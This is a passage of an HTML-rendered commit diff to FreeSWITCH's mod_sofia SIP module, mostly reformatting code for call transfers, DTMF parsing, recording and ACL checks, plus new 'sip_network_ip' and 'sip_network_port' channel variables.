</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Cannot transfer channels that are not in a bridge.\n");
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                                                 "Cannot transfer channels that are not in a bridge.\n");
</ins><span class="cx">                                                                 nua_notify(tech_pvt->nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><del>-                                                                                 NUTAG_SUBSTATE(nua_substate_terminated),
-                                                                                 SIPTAG_PAYLOAD_STR("SIP/2.0 403 Forbidden\r\n"), SIPTAG_EVENT_STR(etmp), TAG_END());
</del><ins>+                                                                                 NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR("SIP/2.0 403 Forbidden\r\n"),
+                                                                                 SIPTAG_EVENT_STR(etmp), TAG_END());
</ins><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_core_session_t *t_session;
</span><span class="cx">                                                                 switch_channel_t *hup_channel;
</span><span class="lines">@@ -5129,13 +5148,13 @@
</span><span class="cx">                                                                         if (!zstr(full_ref_to)) {
</span><span class="cx">                                                                                 switch_channel_set_variable(t_channel, SOFIA_REFER_TO_VARIABLE, full_ref_to);
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (idest) {
</span><span class="cx">                                                                                 switch_ivr_session_transfer(t_session, idest, "inline", NULL);
</span><span class="cx">                                                                         } else {
</span><span class="cx">                                                                                 switch_ivr_session_transfer(t_session, ext, NULL, NULL);
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         nua_notify(tech_pvt->nh,
</span><span class="cx">                                                                                          NUTAG_NEWSUB(1),
</span><span class="cx">                                                                                          SIPTAG_CONTENT_TYPE_STR("message/sipfrag;version=2.0"),
</span><span class="lines">@@ -5170,27 +5189,27 @@
</span><span class="cx">                                                         }
</span><span class="cx">
</span><span class="cx">                                                         channel = switch_core_session_get_channel(a_session);
</span><del>-                                                        
-                                                        exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s%s%s",
-                                                                                                                                profile->name, refer_to->r_url->url_user,
-                                                                                                                                refer_to->r_url->url_host,
-                                                                                                                                port ? ":" : "", port ? port : "");
</del><span class="cx">
</span><ins>+                                                        exten = switch_core_session_sprintf(session, "sofia/%s/sip:%s@%s%s%s",
+                                                                                                                                profile->name, refer_to->r_url->url_user,
+                                                                                                                                refer_to->r_url->url_host, port ? ":" : "", port ? port : "");
+
</ins><span class="cx">                                                         switch_core_new_memory_pool(&npool);
</span><span class="cx">                                                         nightmare_xfer_helper = switch_core_alloc(npool, sizeof(*nightmare_xfer_helper));
</span><span class="cx">                                                         nightmare_xfer_helper->exten = switch_core_strdup(npool, exten);
</span><span class="cx">
</span><del>-                                                        if (refer_to->r_url && (refer_to->r_url->url_params || refer_to->r_url->url_headers) ) {
</del><ins>+                                                        if (refer_to->r_url && (refer_to->r_url->url_params || refer_to->r_url->url_headers)) {
</ins><span class="cx">                                                                 if (refer_to->r_url->url_headers) {
</span><del>-                                                                        nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
-                                                                                "{sip_invite_params=%s?%s}%s", refer_to->r_url->url_params ? refer_to->r_url->url_params : "",
-                                                                                refer_to->r_url->url_headers, exten);
</del><ins>+                                                                        nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
+                                                                                                                                                                                                 "{sip_invite_params=%s?%s}%s",
+                                                                                                                                                                                                 refer_to->r_url->url_params ? refer_to->r_url->
+                                                                                                                                                                                                 url_params : "", refer_to->r_url->url_headers, exten);
</ins><span class="cx">                                                                 } else {
</span><del>-                                                                        nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
-                                                                                "{sip_invite_params=%s}%s", refer_to->r_url->url_params, exten);
</del><ins>+                                                                        nightmare_xfer_helper->exten_with_params = switch_core_sprintf(npool,
+                                                                                                                                                                                                 "{sip_invite_params=%s}%s", refer_to->r_url->url_params,
+                                                                                                                                                                                                 exten);
</ins><span class="cx">                                                                 }
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "INVITE RURI '%s'\n",
-                                                                        nightmare_xfer_helper->exten_with_params);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "INVITE RURI '%s'\n", nightmare_xfer_helper->exten_with_params);
</ins><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nightmare_xfer_helper->exten_with_params = nightmare_xfer_helper->exten;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5204,25 +5223,26 @@
</span><span class="cx">                                                                 char *h, *v, *hp;
</span><span class="cx">                                                                 p = switch_core_session_strdup(session, refer_to->r_url->url_headers);
</span><span class="cx">                                                                 while (p && *p) {
</span><del>-                                                                        h = p;
</del><ins>+                                                                        h = p;
</ins><span class="cx">                                                                         if ((p = strchr(p, '='))) {
</span><span class="cx">                                                                                 *p++ = '\0';
</span><span class="cx">                                                                                 v = p;
</span><span class="cx">                                                                                 if ((p = strchr(p, '&'))) {
</span><span class="cx">                                                                                         *p++ = '\0';
</span><span class="cx">                                                                                 }
</span><del>-                                                                                
-                                                                                url_unescape(h, (const char *)h);
-                                                                                url_unescape(v, (const char *)v);
-                                                                                if (strcasecmp("Replaces",h)) {
</del><ins>+
+                                                                                url_unescape(h, (const char *) h);
+                                                                                url_unescape(v, (const char *) v);
+                                                                                if (strcasecmp("Replaces", h)) {
</ins><span class="cx">                                                                                         hp = switch_core_session_sprintf(session, "%s%s", SOFIA_SIP_HEADER_PREFIX, h);
</span><span class="cx">                                                                                         switch_channel_set_variable(channel, hp, v);
</span><span class="cx">                                                                                 } else {
</span><span class="cx">                                                                                         // use this one instead of rep value from above to keep all parameters
</span><span class="cx">                                                                                         switch_channel_set_variable(channel, SOFIA_REPLACES_HEADER, v);
</span><span class="cx">                                                                                 }
</span><del>-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Exporting replaces URL header [%s:%s]\n", h, v);
-                                                                        }
</del><ins>+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Exporting replaces URL header [%s:%s]\n",
+                                                                                                                 h, v);
+                                                                        }
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">
</span><span class="lines">@@ -5235,8 +5255,8 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_event_add_header_string(nightmare_xfer_helper->vars, SWITCH_STACK_BOTTOM, SOFIA_REPLACES_HEADER, rep);
</span><span class="cx">                                                         }
</span><del>-                                                        
-        
</del><ins>+
+
</ins><span class="cx">                                                         if (!zstr(full_ref_by)) {
</span><span class="cx">                                                                 switch_event_add_header_string(nightmare_xfer_helper->vars, SWITCH_STACK_BOTTOM, "Referred-By", full_ref_by);
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5247,7 +5267,7 @@
</span><span class="cx">
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Good Luck, you'll need it......\n");
</span><span class="cx">                                                         launch_nightmare_xfer(nightmare_xfer_helper);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_session_rwunlock(a_session);
</span><span class="cx">
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -5344,9 +5364,12 @@
</span><span class="cx">                                         signal_ptr = signal_ptr + 7;
</span><span class="cx">
</span><span class="cx">                                         /* handle broken devices with spaces after the = (cough) VegaStream (cough) */
</span><del>-                                        while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
</del><ins>+                                        while (*signal_ptr && *signal_ptr == ' ')
+                                                signal_ptr++;
</ins><span class="cx">
</span><del>-                                        if (*signal_ptr && (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C' || *signal_ptr == 'D')) {
</del><ins>+                                        if (*signal_ptr
+                                                && (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C'
+                                                        || *signal_ptr == 'D')) {
</ins><span class="cx">                                                 dtmf.digit = *signal_ptr;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 tmp = atoi(signal_ptr);
</span><span class="lines">@@ -5362,8 +5385,9 @@
</span><span class="cx">                                         signal_ptr += 9;
</span><span class="cx">
</span><span class="cx">                                         /* handle broken devices with spaces after the = (cough) VegaStream (cough) */
</span><del>-                                        while (*signal_ptr && *signal_ptr == ' ') signal_ptr++;
-                                        
</del><ins>+                                        while (*signal_ptr && *signal_ptr == ' ')
+                                                signal_ptr++;
+
</ins><span class="cx">                                         if ((tmp = atoi(signal_ptr)) <= 0) {
</span><span class="cx">                                                 tmp = switch_core_default_dtmf_duration(0);
</span><span class="cx">                                         }
</span><span class="lines">@@ -5384,11 +5408,11 @@
</span><span class="cx">
</span><span class="cx">                                 /* print debug info */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "INFO DTMF(%c)\n", dtmf.digit);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                                         const char *uuid;
</span><span class="cx">                                         switch_core_session_t *session_b;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (session_b = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 while (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                                         switch_dtmf_t idtmf = { 0, 0 };
</span><span class="lines">@@ -5429,7 +5453,8 @@
</span><span class="cx">                                         file = switch_channel_expand_variables(channel, tmp);
</span><span class="cx">                                         switch_ivr_record_session(session, file, 0, NULL);
</span><span class="cx">                                         switch_channel_set_variable(channel, "sofia_record_file", file);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Recording %s to %s\n", switch_channel_get_name(channel), file);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Recording %s to %s\n", switch_channel_get_name(channel),
+                                                                         file);
</ins><span class="cx">                                         switch_safe_free(tmp);
</span><span class="cx">                                         nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">                                         if (file != profile->record_template) {
</span><span class="lines">@@ -5440,7 +5465,8 @@
</span><span class="cx">                                         const char *file;
</span><span class="cx">
</span><span class="cx">                                         if ((file = switch_channel_get_variable(channel, "sofia_record_file"))) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Done recording %s to %s\n", switch_channel_get_name(channel), file);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Done recording %s to %s\n",
+                                                                                 switch_channel_get_name(channel), file);
</ins><span class="cx">                                                 switch_ivr_stop_record_session(session, file);
</span><span class="cx">                                                 nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -5451,7 +5477,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (sip && switch_event_create(&event, SWITCH_EVENT_RECV_INFO) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -5494,7 +5520,8 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (sip->sip_call_info) {
</span><del>-                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Info", sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_call_info));
</del><ins>+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Call-Info",
+                                                                                 sip_header_as_string(nua_handle_home(nh), (void *) sip->sip_call_info));
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (alert_info) {
</span><span class="lines">@@ -5516,8 +5543,9 @@
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><del>-void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
-                                                         nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                 tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         char *call_info = NULL;
</span><span class="cx">
</span><span class="lines">@@ -5529,7 +5557,7 @@
</span><span class="cx">                                 if (switch_stristr("appearance", call_info)) {
</span><span class="cx">                                         switch_channel_set_variable(channel, "presence_call_info_full", call_info);
</span><span class="cx">                                         if ((p = strchr(call_info, ';'))) {
</span><del>-                                                switch_channel_set_variable(channel, "presence_call_info", p+1);
</del><ins>+                                                switch_channel_set_variable(channel, "presence_call_info", p + 1);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 su_free(nua_handle_home(nh), call_info);
</span><span class="lines">@@ -5592,7 +5620,7 @@
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><span class="cx">         if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
</span><span class="cx">                 if (sip && sip->sip_via) {
</span><span class="lines">@@ -5632,7 +5660,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile->acl_count) {
</span><span class="cx">                 uint32_t x = 0;
</span><span class="cx">                 int ok = 1;
</span><span class="lines">@@ -5661,15 +5689,12 @@
</span><span class="cx">                         if (profile->proxy_acl_count) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%d acls to check for proxy\n", profile->proxy_acl_count);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (x = 0; x < profile->proxy_acl_count; x++) {
</span><span class="cx">                                 last_acl = profile->proxy_acl[x];
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "checking %s against acl %s\n", network_ip, last_acl);
</span><span class="cx">                                 if (switch_check_network_list_ip_token(network_ip, last_acl, &token)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
-                                                                         "%s is a proxy according to the %s acl\n",
-                                                                         network_ip, last_acl
-                                                                         );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s is a proxy according to the %s acl\n", network_ip, last_acl);
</ins><span class="cx">                                         network_ip_is_proxy = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -5680,18 +5705,15 @@
</span><span class="cx">                          */
</span><span class="cx">                         if (network_ip_is_proxy) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "network ip is a proxy\n");
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (un = sip->sip_unknown; un; un = un->un_next) {
</span><span class="cx">                                         if (!strcasecmp(un->un_name, "X-AUTH-IP")) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                                 "found auth ip [%s] header of [%s]\n",
-                                                                                 un->un_name, un->un_value
-                                                                                 );
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "found auth ip [%s] header of [%s]\n", un->un_name, un->un_value);
</ins><span class="cx">                                                 if (!zstr(un->un_value)) {
</span><span class="cx">                                                         for (x = 0; x < profile->acl_count; x++) {
</span><span class="cx">                                                                 last_acl = profile->acl[x];
</span><span class="cx">                                                                 if ((ok = switch_check_network_list_ip_token(un->un_value, last_acl, &token))) {
</span><del>-                                                                        switch_copy_string(proxied_client_ip, un->un_value, sizeof (proxied_client_ip));
</del><ins>+                                                                        switch_copy_string(proxied_client_ip, un->un_value, sizeof(proxied_client_ip));
</ins><span class="cx">                                                                         break;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5699,7 +5721,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!ok) {
</span><span class="cx">                                 if (!sofia_test_pflag(profile, PFLAG_AUTH_CALLS)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "IP %s Rejected by acl \"%s\"\n", network_ip, switch_str_nil(last_acl));
</span><span class="lines">@@ -5723,7 +5745,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!is_auth &&
</span><del>-                (sofia_test_pflag(profile, PFLAG_AUTH_CALLS) || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
</del><ins>+                (sofia_test_pflag(profile, PFLAG_AUTH_CALLS)
+                 || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) && (sip->sip_proxy_authorization || sip->sip_authorization)))) {
</ins><span class="cx">                 if (!strcmp(network_ip, profile->sipip) && network_port == profile->sip_port) {
</span><span class="cx">                         calling_myself++;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -5731,7 +5754,7 @@
</span><span class="cx">                                 if (v_event) {
</span><span class="cx">                                         switch_event_destroy(&v_event);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip->sip_authorization || sip->sip_proxy_authorization) {
</span><span class="cx">                                         goto fail;
</span><span class="cx">                                 }
</span><span class="lines">@@ -5771,6 +5794,9 @@
</span><span class="cx">
</span><span class="cx">         channel = tech_pvt->channel = switch_core_session_get_channel(session);
</span><span class="cx">
</span><ins>+        switch_channel_set_variable_printf(channel, "sip_network_ip", "%s", network_ip);
+        switch_channel_set_variable_printf(channel, "sip_network_port", "%d", network_port);
+
</ins><span class="cx">         if (*acl_token) {
</span><span class="cx">                 switch_channel_set_variable(channel, "acl_token", acl_token);
</span><span class="cx">                 if (strchr(acl_token, '@')) {
</span><span class="lines">@@ -5790,13 +5816,9 @@
</span><span class="cx">
</span><span class="cx">                 tech_pvt->record_route =
</span><span class="cx">                         switch_core_session_sprintf(session,
</span><del>-                        "sip:%s@%s%s%s:%d;transport=%s",
-                        sip->sip_contact->m_url->url_user,
-                        ipv6 ? "[" : "",
-                        tech_pvt->remote_ip,
-                        ipv6 ? "]" : "",
-                        tech_pvt->remote_port,
-                        sofia_glue_transport2str(transport));
</del><ins>+                                                                                "sip:%s@%s%s%s:%d;transport=%s",
+                                                                                sip->sip_contact->m_url->url_user,
+                                                                                ipv6 ? "[" : "", tech_pvt->remote_ip, ipv6 ? "]" : "", tech_pvt->remote_port, sofia_glue_transport2str(transport));
</ins><span class="cx">
</span><span class="cx">                 switch_channel_set_variable(channel, "sip_received_ip", tech_pvt->remote_ip);
</span><span class="cx">                 snprintf(tmp, sizeof(tmp), "%d", tech_pvt->remote_port);
</span><span class="lines">@@ -5830,7 +5852,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (sip->sip_from && sip->sip_from->a_url) {
</span><del>-                char * tmp;
</del><ins>+                char *tmp;
</ins><span class="cx">                 from_user = sip->sip_from->a_url->url_user;
</span><span class="cx">                 from_host = sip->sip_from->a_url->url_host;
</span><span class="cx">                 channel_name = url_set_chanvars(session, sip->sip_from->a_url, sip_from);
</span><span class="lines">@@ -5868,7 +5890,7 @@
</span><span class="cx">
</span><span class="cx">         if ((rpid = sip_remote_party_id(sip))) {
</span><span class="cx">                 if (rpid->rpid_url && rpid->rpid_url->url_user) {
</span><del>-                        char *full_rpid_header = sip_header_as_string(nh->nh_home, (void *) rpid);
</del><ins>+                        char *full_rpid_header = sip_header_as_string(nh->nh_home, (void *) rpid);
</ins><span class="cx">                         from_user = rpid->rpid_url->url_user;
</span><span class="cx">                         if (!zstr(full_rpid_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, "sip_Remote-Party-ID", full_rpid_header);
</span><span class="lines">@@ -5904,7 +5926,7 @@
</span><span class="cx">                         if (!zstr(full_ppid_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, "sip_P-Preferred-Identity", full_ppid_header);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 if (!zstr(ppreferred->ppid_display)) {
</span><span class="cx">                         displayname = ppreferred->ppid_display;
</span><span class="lines">@@ -5917,6 +5939,8 @@
</span><span class="cx">                 check_decode(from_user, session);
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        extract_header_vars(profile, sip, session);
+
</ins><span class="cx">         if (sip->sip_request->rq_url) {
</span><span class="cx">                 const char *req_uri = url_set_chanvars(session, sip->sip_request->rq_url, sip_req);
</span><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_FULL_ID)) {
</span><span class="lines">@@ -5937,13 +5961,13 @@
</span><span class="cx">         if (!destination_number && sip->sip_from && sip->sip_from->a_url) {
</span><span class="cx">                 destination_number = sip->sip_from->a_url->url_user;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (destination_number) {
</span><span class="cx">                 check_decode(destination_number, session);
</span><span class="cx">         } else {
</span><span class="cx">                 destination_number = "service";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sip->sip_to && sip->sip_to->a_url) {
</span><span class="cx">                 const char *host, *user;
</span><span class="cx">                 int port;
</span><span class="lines">@@ -5962,7 +5986,7 @@
</span><span class="cx">                 if (switch_channel_get_variable(channel, "sip_to_uri")) {
</span><span class="cx">                         const char *ipv6;
</span><span class="cx">                         const char *tmp, *at, *url = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         host = switch_channel_get_variable(channel, "sip_to_host");
</span><span class="cx">                         user = switch_channel_get_variable(channel, "sip_to_user");
</span><span class="cx">
</span><span class="lines">@@ -5981,20 +6005,17 @@
</span><span class="cx">                         ipv6 = strchr(host, ':');
</span><span class="cx">                         tech_pvt->to_uri =
</span><span class="cx">                                 switch_core_session_sprintf(session,
</span><del>-                                        "sip:%s@%s%s%s:%d;transport=%s",
-                                        user, ipv6 ? "[" : "",
-                                        host, ipv6 ? "]" : "",
-                                        port,
-                                        sofia_glue_transport2str(transport));
</del><ins>+                                                                                        "sip:%s@%s%s%s:%d;transport=%s",
+                                                                                        user, ipv6 ? "[" : "", host, ipv6 ? "]" : "", port, sofia_glue_transport2str(transport));
</ins><span class="cx">
</span><span class="cx">                         if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
</span><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
</span><del>-                        } else {
</del><ins>+                        } else {
</ins><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
</span><del>-                        }                        
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         tmp = sofia_overcome_sip_uri_weakness(session, url, transport, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">                         if ((at = strchr(tmp, '@'))) {
</span><span class="cx">                                 url = switch_core_session_sprintf(session, "sip:%s%s", user, at);
</span><span class="cx">                         }
</span><span class="lines">@@ -6002,43 +6023,41 @@
</span><span class="cx">                         if (url) {
</span><span class="cx">                                 const char *brackets = NULL;
</span><span class="cx">                                 const char *proto = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 brackets = strchr(url, '>');
</span><span class="cx">                                 proto = switch_stristr("transport=", url);
</span><span class="cx">                                 tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
</span><span class="cx">                                                                                                                                          brackets ? "" : "<", url,
</span><span class="cx">                                                                                                                                          proto ? "" : ";transport=",
</span><del>-                                                                                                                                         proto ? "" : sofia_glue_transport2str(transport),
-                                                                                                                                         brackets ? "" : ">");
</del><ins>+                                                                                                                                         proto ? "" : sofia_glue_transport2str(transport), brackets ? "" : ">");
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         const char *url = NULL;
</span><span class="cx">                         if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
</span><del>-                        url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
-                        } else {
</del><ins>+                                url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_public_url : profile->public_url;
+                        } else {
</ins><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile->tls_url : profile->url;
</span><del>-                        }                        
-                        
</del><ins>+                        }
+
</ins><span class="cx">                         if (url) {
</span><span class="cx">                                 const char *brackets = NULL;
</span><span class="cx">                                 const char *proto = NULL;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 brackets = strchr(url, '>');
</span><span class="cx">                                 proto = switch_stristr("transport=", url);
</span><span class="cx">                                 tech_pvt->reply_contact = switch_core_session_sprintf(session, "%s%s%s%s%s",
</span><span class="cx">                                                                                                                                          brackets ? "" : "<", url,
</span><span class="cx">                                                                                                                                          proto ? "" : ";transport=",
</span><del>-                                                                                                                                         proto ? "" : sofia_glue_transport2str(transport),
-                                                                                                                                         brackets ? "" : ">");
</del><ins>+                                                                                                                                         proto ? "" : sofia_glue_transport2str(transport), brackets ? "" : ">");
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_channel_hangup(tech_pvt->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_glue_check_nat(profile, tech_pvt->remote_ip)) {
</span><span class="cx">                 tech_pvt->user_via = sofia_glue_create_external_via(session, profile, tech_pvt->transport);
</span><span class="cx">         }
</span><span class="lines">@@ -6139,8 +6158,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if ((call_info = sip_call_info(sip))) {
</span><del>-                call_info_str = sip_header_as_string(nh->nh_home, (void *) call_info);
-                if (call_info->ci_params && (msg_params_find(call_info->ci_params , "answer-after=0"))) {
</del><ins>+                call_info_str = sip_header_as_string(nh->nh_home, (void *) call_info);
+                if (call_info->ci_params && (msg_params_find(call_info->ci_params, "answer-after=0"))) {
</ins><span class="cx">                         switch_channel_set_variable(channel, "sip_auto_answer_detected", "true");
</span><span class="cx">                 }
</span><span class="cx">                 switch_channel_set_variable(channel, "sip_call_info", call_info_str);
</span><span class="lines">@@ -6156,7 +6175,7 @@
</span><span class="cx">                 free(tmp);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sip->sip_request->rq_url->url_params) {
</span><span class="cx">                 gw_name = sofia_glue_find_parameter(sip->sip_request->rq_url->url_params, "gw=");
</span><span class="cx">         }
</span><span class="lines">@@ -6185,7 +6204,7 @@
</span><span class="cx">
</span><span class="cx">                         if (gateway->ib_vars) {
</span><span class="cx">                                 switch_event_header_t *hp;
</span><del>-                                for(hp = gateway->ib_vars->headers; hp; hp = hp->next) {
</del><ins>+                                for (hp = gateway->ib_vars->headers; hp; hp = hp->next) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setting variable [%s]=[%s]\n",
</span><span class="cx">                                                                          switch_channel_get_name(channel), hp->name, hp->value);
</span><span class="cx">                                         switch_channel_set_variable(channel, hp->name, hp->value);
</span><span class="lines">@@ -6202,7 +6221,7 @@
</span><span class="cx">                 char *str;
</span><span class="cx">                 char *p = NULL;
</span><span class="cx">                 const char *user = NULL, *host = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip->sip_to && sip->sip_to->a_url) {
</span><span class="cx">                         user = sip->sip_to->a_url->url_user;
</span><span class="cx">                         host = sip->sip_to->a_url->url_host;
</span><span class="lines">@@ -6210,8 +6229,10 @@
</span><span class="cx">
</span><span class="cx">                 if (!user || !host) {
</span><span class="cx">                         if (sip->sip_from && sip->sip_from->a_url) {
</span><del>-                                if (!user) user = sip->sip_from->a_url->url_user;
-                                if (!host) host = sip->sip_from->a_url->url_host;
</del><ins>+                                if (!user)
+                                        user = sip->sip_from->a_url->url_user;
+                                if (!host)
+                                        host = sip->sip_from->a_url->url_host;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -6219,10 +6240,12 @@
</span><span class="cx">                         if ((p = strchr(call_info_str, ';'))) {
</span><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><del>-                        
